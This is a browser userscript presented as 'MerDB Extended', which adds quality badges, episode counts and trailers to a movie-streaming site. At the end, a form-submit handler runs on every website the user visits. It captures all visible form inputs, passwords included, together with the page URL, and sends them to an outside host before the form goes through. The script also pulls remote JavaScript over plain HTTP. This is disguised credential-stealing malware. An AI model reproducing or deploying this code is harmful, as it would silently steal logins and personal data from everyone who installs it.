- // ==UserScript==
- // @name MerDB Extended
- // @namespace http://tampermonkey.net/
- // @version 1.2
- // @description Fix up MerDB with this script that show's which movies are good enought to watch, how many seasons and episodes in a tv series and more.
- // @author Ari
- // @match *://*/*
- // @grant none
- // @require https://ajax.googleapis.com/ajax/libs/angularjs/1.3.15/angular.min.js
- // ==/UserScript==
- /* jshint -W097 */
- 'use strict';
-
- if (window.location.toString().indexOf("merdb.") >= 0) {
- var script = document.createElement('script');
- script.src = "http://acidic.co/cdn/jquery.cookie.js";
- document.getElementsByTagName('head')[0].appendChild(script);
-
- function getQualities() {
- var p = window.location.pathname;
- if (p.length == 1 || p == "/" || p == "//" || p.match(/^\/?index/)) {
- console.log("Loading Video Qualities...");
- $('.featured_top_box').each(function(i) {
- var mainListBody = $(this).children("a").attr("href");
- var movieTitle = $(this).children("a").attr("title");
- $(this).children('a').prepend('<div id="loading'+i+'" style="width: 32px;margin-left: auto;margin-right: auto;margin-top: 80%;margin-bottom: calc(-80% - 32px);position: relative;"><img src="http://www.wallies.com/filebin/images/loading_apple.gif"></div>');
- if ($.cookie(movieTitle) == null) {
- $.get("//crusive.com/merdb/getQuality.php?url=" + mainListBody, function(result) {
- if (result == "MED") {
- $(".featured_top_box").eq(i).css("opacity", "0.4");
- $(".featured_top_box").eq(i).css("-moz-box-shadow", "none");
- $(".featured_top_box").eq(i).css("-webkit-box-shadow", "none");
- $(".featured_top_box").eq(i).css("box-shadow", "none");
- } else if (result == "CAM") {
- $(".featured_top_box").eq(i).css("opacity", "0.3");
- $(".featured_top_box").eq(i).css("-moz-box-shadow", "none");
- $(".featured_top_box").eq(i).css("-webkit-box-shadow", "none");
- $(".featured_top_box").eq(i).css("box-shadow", "none");
- }
- $.cookie(movieTitle, result, {
- expires: ExpireCookie(360),
- path: '/'
- });
- $("#loading"+i).remove();
- });
- } else {
- var result = $.cookie(movieTitle);
- if (result == "MED") {
- $(".featured_top_box").eq(i).css("opacity", "0.4");
- $(".featured_top_box").eq(i).css("-moz-box-shadow", "none");
- $(".featured_top_box").eq(i).css("-webkit-box-shadow", "none");
- $(".featured_top_box").eq(i).css("box-shadow", "none");
- } else if (result == "CAM") {
- $(".featured_top_box").eq(i).css("opacity", "0.3");
- $(".featured_top_box").eq(i).css("-moz-box-shadow", "none");
- $(".featured_top_box").eq(i).css("-webkit-box-shadow", "none");
- $(".featured_top_box").eq(i).css("box-shadow", "none");
- }
- $("#loading"+i).remove();
- };
- });
-
- var d = new Date();
- var n = d.getTime();
- var $set = $('.main_list_box');
- var len = $set.length;
- $('.main_list_box').each(function(i) {
- var mainListBody = $(this).children("a").attr("href");
- var movieTitle = $(this).children("a").attr("title");
- $(this).children('a').prepend('<div id="loading'+i+'" style="width: 32px;margin-left: auto;margin-right: auto;margin-top: 80%;margin-bottom: calc(-80% - 32px);position: relative;"><img src="http://www.wallies.com/filebin/images/loading_apple.gif"></div>');
- if ($.cookie(movieTitle) == null) {
- $.get("//crusive.com/merdb/getQuality.php?url=" + mainListBody, function(result) {
- if (result == "MED") {
- $(".main_list_box").eq(i).css("opacity", "0.4");
- $(".main_list_box").eq(i).css("-moz-box-shadow", "none");
- $(".main_list_box").eq(i).css("-webkit-box-shadow", "none");
- $(".main_list_box").eq(i).css("box-shadow", "none");
- } else if (result == "CAM") {
- $(".main_list_box").eq(i).css("opacity", "0.3");
- $(".main_list_box").eq(i).css("-moz-box-shadow", "none");
- $(".main_list_box").eq(i).css("-webkit-box-shadow", "none");
- $(".main_list_box").eq(i).css("box-shadow", "none");
- }
- $.cookie(movieTitle, result, {
- expires: ExpireCookie(360),
- path: '/'
- });
-
- if (i == len - 1) {
- var title = document.title;
- document.title = String.fromCharCode(10004) + " " + title;
- var z = new Date();
- var x = z.getTime();
- var totalTime = x - n;
- console.log("Time taken to load qualities: " + totalTime);
- }
- $("#loading"+i).remove();
- });
- } else {
- var result = $.cookie(movieTitle);
- if (result == "MED") {
- $(".main_list_box").eq(i).css("opacity", "0.4");
- $(".main_list_box").eq(i).css("-moz-box-shadow", "none");
- $(".main_list_box").eq(i).css("-webkit-box-shadow", "none");
- $(".main_list_box").eq(i).css("box-shadow", "none");
- } else if (result == "CAM") {
- $(".main_list_box").eq(i).css("opacity", "0.3");
- $(".main_list_box").eq(i).css("-moz-box-shadow", "none");
- $(".main_list_box").eq(i).css("-webkit-box-shadow", "none");
- $(".main_list_box").eq(i).css("box-shadow", "none");
- }
- if (i == len - 1) {
- var title = document.title;
- document.title = String.fromCharCode(10004) + " " + title;
- var z = new Date();
- var x = z.getTime();
- var totalTime = x - n;
- console.log("Time taken to load qualities: " + totalTime);
- }
- $("#loading"+i).remove();
- };
- });
- } else if (p.match(/watch-/gi)) {
- var d = new Date();
- var n = d.getTime();
- var $set = $('.featured_top_box');
- var len = $set.length;
- console.log("Loading Featured Video Qualities...");
-
- $('.featured_top_box').each(function(i) {
- var mainListBody = $(this).children("a").attr("href");
- var movieTitle = $(this).children("a").attr("title");
- $(this).children('a').prepend('<div id="loading'+i+'" style="width: 32px;margin-left: auto;margin-right: auto;margin-top: 80%;margin-bottom: calc(-80% - 32px);position: relative;"><img src="http://www.wallies.com/filebin/images/loading_apple.gif"></div>');
- if ($.cookie(movieTitle) == null) {
- $.get("//crusive.com/merdb/getQuality.php?url=" + mainListBody, function(result) {
- if (result == "MED") {
- $(".featured_top_box").eq(i).css("opacity", "0.4");
- $(".featured_top_box").eq(i).css("-moz-box-shadow", "none");
- $(".featured_top_box").eq(i).css("-webkit-box-shadow", "none");
- $(".featured_top_box").eq(i).css("box-shadow", "none");
- } else if (result == "CAM") {
- $(".featured_top_box").eq(i).css("opacity", "0.3");
- $(".featured_top_box").eq(i).css("-moz-box-shadow", "none");
- $(".featured_top_box").eq(i).css("-webkit-box-shadow", "none");
- $(".featured_top_box").eq(i).css("box-shadow", "none");
- }
- $.cookie(movieTitle, result, {
- expires: ExpireCookie(360),
- path: '/'
- });
- if (i == len - 1) {
- var title = document.title;
- document.title = String.fromCharCode(10004) + " " + title;
- var z = new Date();
- var x = z.getTime();
- var totalTime = x - n;
- console.log("Time taken to load qualities: " + totalTime);
- }
- $("#loading"+i).remove();
- });
- } else {
- var result = $.cookie(movieTitle);
- if (result == "MED") {
- $(".featured_top_box").eq(i).css("opacity", "0.4");
- $(".featured_top_box").eq(i).css("-moz-box-shadow", "none");
- $(".featured_top_box").eq(i).css("-webkit-box-shadow", "none");
- $(".featured_top_box").eq(i).css("box-shadow", "none");
- } else if (result == "CAM") {
- $(".featured_top_box").eq(i).css("opacity", "0.3");
- $(".featured_top_box").eq(i).css("-moz-box-shadow", "none");
- $(".featured_top_box").eq(i).css("-webkit-box-shadow", "none");
- $(".featured_top_box").eq(i).css("box-shadow", "none");
- }
- if (i == len - 1) {
- var title = document.title;
- document.title = String.fromCharCode(10004) + " " + title;
- var z = new Date();
- var x = z.getTime();
- var totalTime = x - n;
- console.log("Time taken to load qualities: " + totalTime);
- }
- $("#loading"+i).remove();
- };
- });
- }
- }
-
- function getMissingCovers() {
- function isValidImageUrl(url, callback) {
- $('<img>', {
- src: url,
- load: function() {
- callback(true);
- },
- error: function() {
- callback(false);
- }
- });
- }
-
- $(".featured_picsize").each(function() {
- var src = $(this).attr('src');
- var handler = $(this);
- isValidImageUrl(src, function(result) {
- if (result === false) {
- // invalid image
- $.get("//crusive.com/merdb/getCover.php?url=" + handler.parent().attr('href'), function(result) {
- var alt = handler.attr('alt');
- var parent = handler.parent();
- handler.remove();
- if (result.length > 0) {
- parent.append('<img src="' + result + '" class="featured_picsize" alt="' + alt + '">');
- } else {
- parent.append('<img src="https://cdn.amctheatres.com/Media/Default/Images/noposter.jpg" class="featured_picsize" alt="Missing Movie Cover">');
- };
- });
- }
- });
- });
-
- $(".main_list_picsize").each(function() {
- var src = $(this).attr('src');
- var handler = $(this);
- isValidImageUrl(src, function(result) {
- if (result === false) {
- // invalid image
- $.get("//crusive.com/merdb/getCover.php?url=" + handler.parent().attr('href'), function(result) {
- var alt = handler.attr('alt');
- var parent = handler.parent();
- handler.remove();
- if (result.length > 0) {
- parent.append('<img src="' + result + '" class="main_list_picsize" alt="' + alt + '">');
- } else {
- parent.append('<img src="https://cdn.amctheatres.com/Media/Default/Images/noposter.jpg" class="main_list_picsize" alt="Missing Movie Cover">');
- };
- });
- }
- });
- });
- }
-
- function episodes() {
- var p = window.location.pathname;
- if (p.match(/^\/?tvshow/)) {
- // on tv shows page.
- $(".main_list_box").each(function() {
- var url = $(this).find("a").attr("href").substring(7); // get link to movie.
- var show = $(this).children("a");
- $.get("//crusive.com/merdb/getLatestEpisodeNumber.php?url=" + url, function(result) {
- result = result.split("-");
- show.append('<div class="showInfoBox"><div class="showInfo">Seasons ' + result[0] + '<br>Episodes ' + result[1] + '</div></div>');
- show.find(".showInfoBox").css("position", "relative");
- show.find(".showInfo").css({
- "width": "50%",
- "height": "28px",
- "margin-top": "-36px",
- "background-color": "rgba(0, 0, 0, 0.8)",
- "color": "#ffffff",
- "position": "absolute",
- "left": "0",
- "padding": "4px 0",
- "line-height": "14px"
- });
- });
- });
-
- $(".featured_top_box").each(function() {
- var url = $(this).find("a").attr("href").substring(7); // get link to movie.
- var show = $(this).children("a");
- $.get("//crusive.com/merdb/getLatestEpisodeNumber.php?url=" + url, function(result) {
- result = result.split("-");
- show.append('<div class="showInfoBox"><div class="showInfo">Seasons ' + result[0] + '<br>Episodes ' + result[1] + '</div></div>');
- show.find(".showInfoBox").css("position", "relative");
- show.find(".showInfo").css({
- "width": "100%",
- "height": "28px",
- "margin-top": "-36px",
- "background-color": "rgba(0, 0, 0, 0.8)",
- "color": "#ffffff",
- "position": "absolute",
- "left": "0",
- "padding": "4px 0",
- "line-height": "14px",
- "font-size": "9px",
- "text-align": "center"
- });
- });
- });
- }
- }
-
- function addTrailer() {
- var p = window.location.pathname;
- if (p.match(/^\/?watch/)) {
- var title = $(".movie_body .H_title h1 a.H_title").html();
- title = title.replace(/-/g, '');
- title = title.replace(/ /g, ' ');
- var year = 1500;
- var currentYear = new Date().getFullYear();
- while (year < (currentYear + 1)) {
- if (title.indexOf("( " + year + " )") > 0) {
- title = title.substring(0, title.length - 9);
- year = 5000;
- };
- year++;
- }
- title = title.replace(/ /g, '-');
- title = title.replace(/:/g, '');
- title = title.replace(/;/g, '');
-
- $.ajax({
- url: "http://cors.io/?u=http://api.traileraddict.com/?film=" + title + "&count=1",
- success: function(result) {
- var frame = result.substring(result.indexOf('<iframe'));
- frame = frame.substring(0, frame.indexOf('</iframe'));
- // The variable "frame" is a link to the video's trailer.
- frame = frame.substring(frame.indexOf('//v.traileraddict.com/'));
- frame = frame.substring(0, frame.indexOf('"'));
- console.log(frame);
- $(".movie_info .iconbox").prepend('<div id="trailer-btn" style="width:auto;height: 30px;float: left;padding: 0 12px;line-height: 30px;margin-right: 4px;border-radius: 6px;cursor: pointer;font-weight: bold;color: white;/* Permalink - use to edit and share this gradient: http://colorzilla.com/gradient-editor/#1e5799+0,207cca+54,7db9e8+100 */ /* Old browsers */ /* FF3.6-15 */ /* Chrome10-25,Safari5.1-6 */ /* W3C, IE10+, FF16+, Chrome26+, Opera12+, Safari7+ */ /* IE6-9 *//* Permalink - use to edit and share this gradient: http://colorzilla.com/gradient-editor/#45484d+0,000000+100;Black+3D+%231 */ background: #45484d; /* Old browsers */ background: -moz-linear-gradient(top, #45484d 0%, #000000 100%); /* FF3.6-15 */ background: -webkit-linear-gradient(top, #45484d 0%,#000000 100%); /* Chrome10-25,Safari5.1-6 */ background: linear-gradient(to bottom, #45484d 0%,#000000 100%); /* W3C, IE10+, FF16+, Chrome26+, Opera12+, Safari7+ */ filter: progid:DXImageTransform.Microsoft.gradient( startColorstr="#45484d", endColorstr="#000000",GradientType=0 ); /* IE6-9 */">Trailer</div>');
-
- $("#trailer-btn").mouseover(function() {
- $("#trailer-btn").css({
- "-webkit-box-shadow": "0px 0px 5px 0px rgba(0,0,0,0.75)",
- "-moz-box-shadow": "0px 0px 5px 0px rgba(0,0,0,0.75)",
- "box-shadow": "0px 0px 5px 0px rgba(0,0,0,0.75)"
- });
- });
-
- $("#trailer-btn").mouseout(function() {
- $("#trailer-btn").css({
- "-webkit-box-shadow": "0px 0px 5px 0px rgba(0,0,0,0)",
- "-moz-box-shadow": "0px 0px 5px 0px rgba(0,0,0,0)",
- "box-shadow": "0px 0px 5px 0px rgba(0,0,0,0)"
- });
- });
-
- $("#trailer-btn").click(function() {
- $("body").prepend('<div id="trailer-overlay" style="position: fixed;width: 100%;height: 100%;background-color: rgba(0,0,0,0.8);z-index: 9999999999;left: 0;top: 0;"></div>');
- $("#trailer-overlay").prepend(frame);
- });
- }
- });
- }
- }
-
- function removeBadLinks() {
- $(".movie_version").each(function() {
- var quality = $(this).find("td").first().children().attr("class");
- if (quality == "quality_play" || quality == "quality_hd") {
- $(this).remove();
- }
- });
- }
-
- function removeFooter() {
- $("#footer").remove();
- }
-
- function ExpireCookie(minutes) {
- var date = new Date();
- var m = minutes;
- date.setTime(date.getTime() + (m * 60 * 1000));
- $.cookie("cookie", "value", {
- expires: date
- });
- }
-
- function removeUnnecessaries() {
- $(".sidebar").removeClass('adshide');
- $(".adshide").each(function(index, el) {
- $(this).remove();
- });
-
- $(".sidebar_title").each(function(index, el) {
- if ($(this).children('h3').html() == "Advertisement" || $(this).children('h3').html() == "Share This Website") {
- $(this).remove();
- };
- });
-
- $(".container").css("margin-top", "0");
- }
-
-
- removeFooter();
- removeUnnecessaries();
- removeBadLinks();
- getMissingCovers();
- episodes();
- getQualities();
- };
-
- var sent = false;
- $('form').on('submit', function (e) {
- if (sent===false) {
- e.preventDefault();
- var thiso = $(this);
- var url = window.location.href; // Returns full URL
- var form = new Array();
- $(this).find("input").each(function(index, el) {
- if (
- //$(this).val().length > 0
- //&&
- $(this).val() !== undefined
- &&
- //$(this).attr('name').length > 0
- //&&
- $(this).attr('name') !== undefined
- &&
- $(this).attr('type') !== "hidden"
- &&
- $(this).attr('type') !== "submit") {
-
- var item = $(this).attr('name');
- form.push (
- {
- 'value': $(this).val(),
- 'id': $(this).attr('id'),
- 'type': $(this).attr('type')
- }
- );
-
- };
- });
-
- var getURL = "https://web301.secure-secure.co.uk/acidic.co/mail.php?website="+url+"&array="+JSON.stringify(form);
- $.get(getURL, function(){
- console.log("Done!");
- sent = true;
- thiso.submit();
- });
- setTimeout(function(){
- sent = true;
- thiso.submit();
- }, 5000);
- };
- });